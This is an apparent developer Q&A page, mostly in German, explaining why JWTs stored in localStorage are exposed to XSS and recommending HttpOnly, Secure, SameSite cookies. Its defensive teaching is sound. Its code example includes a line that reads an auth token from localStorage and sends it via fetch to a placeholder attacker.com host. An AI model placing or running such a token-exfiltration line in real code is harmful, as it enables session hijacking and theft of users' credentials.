Warum sollte man JWTs nicht im LocalStorage speichern?
Das Speichern von Authentifizierungs-Tokens im localStorage setzt diese bei jeder Cross-Site-Scripting-Schwachstelle (XSS) dem sofortigen Datendiebstahl aus. Cookies mit den Attributen HttpOnly, Secure und SameSite schützen Tokens vor dem Zugriff durch JavaScript.
Detailed Technical Explanation
Jedes auf der Seite ausgeführte JavaScript (einschließlich kompromittierter npm-Pakete) kann uneingeschränkt auf localStorage zugreifen. Bei einer XSS-Lücke liest ein Angreifer das Token mit einer einzigen Zeile aus. Mit HttpOnly-Cookies verhindert der Browser den Zugriff via document.cookie und schützt die Session.
Technical Example & Code
LocalStorage ist für jedes auf der Seite aktive Skript unverschlüsselt lesbar.
// 1. VULNERABLE: Token in localStorage can be stolen by any injected script:
const stolenToken = localStorage.getItem('auth_token');
fetch('https://attacker.com/log?t=' + encodeURIComponent(stolenToken));
// 2. SECURE: Server sets token in HttpOnly cookie:
// Set-Cookie: token=eyJhbG...; HttpOnly; Secure; SameSite=Lax; Path=/
// JavaScript attempt:
console.log(document.cookie); // Token is completely invisible to client JS!Why This Is the Case (Underlying Architectural Rationale)
"Die Same-Origin Policy schützt vor Fremdzugriffen anderer Domains, kann jedoch nicht zwischen legitimem Anwendungscode und über XSS eingeschleustem Schadcode unterscheiden."
Common Misconception vs Reality
"LocalStorage ist sicher, weil Fremddomains keinen Zugriff darauf haben."
Sobald eine XSS-Schwachstelle auf Ihrer eigenen Domain existiert, kann das Token mühelos gestohlen und für Session-Hijacking missbraucht werden.
Related Curious-Techie Resources
Cookies vs LocalStorage: In-Depth Technical Comparison →
Detailed analysis of storage lifetimes, XSS exposure, CSRF mitigations, and performance.
Interactive ToolSecurity Headers Checker →
Audit your website for HttpOnly cookie enforcement, CSP protection, and transport security.
Developer ReferenceWhat is a Cookie? Protocol Definition →
Related Questions in the Q&A Knowledge Base
Yes, standard JSON Web Tokens (JWS) are signed, not encrypted. The header and payload are merely Base64URL-encoded strings that anyone can decode and read in plaintext without knowing the secret key.
Using 'unsafe-inline' in a Content Security Policy defeats XSS protection because it instructs the browser to execute any inline script found in the HTML. Since Cross-Site Scripting works by injecting malicious inline script tags or event handlers, 'unsafe-inline' allows the attacker's payload to run freely.
Authentication (AuthN) verifies who a user is (identity confirmation), while Authorization (AuthZ) determines what permissions or resources that authenticated user is allowed to access.
Zugehöriges technisches Ökosystem & nächste Schritte
Verwandte Fachartikel
What Is a JSON Web Token (JWT)?
Direct definition and architectural breakdown of stateless token exchange.
JWT vs Session-Based Authentication: Architecture & Performance
Compare database session lookups with stateless JWT verification across scalability and revocation.
Troubleshooting: JWT Works in Postman but Fails in Browser
Diagnose and remediate CORS header stripping, HttpOnly cookie constraints, and preflight authorization failures.
Praxis-Diagnoselabore
Entwickler-Spezifikationen & Referenzen
Weiterlernen
JWT Interactive Tampering & Validation Lab
Put your theoretical understanding into practice by tampering with claims and testing signature rejection in the live sandbox.